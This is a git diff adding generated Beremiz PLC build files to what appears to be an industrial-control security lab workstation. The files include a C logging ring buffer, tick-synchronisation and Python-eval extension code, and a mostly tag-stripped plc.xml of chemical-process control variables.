LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && 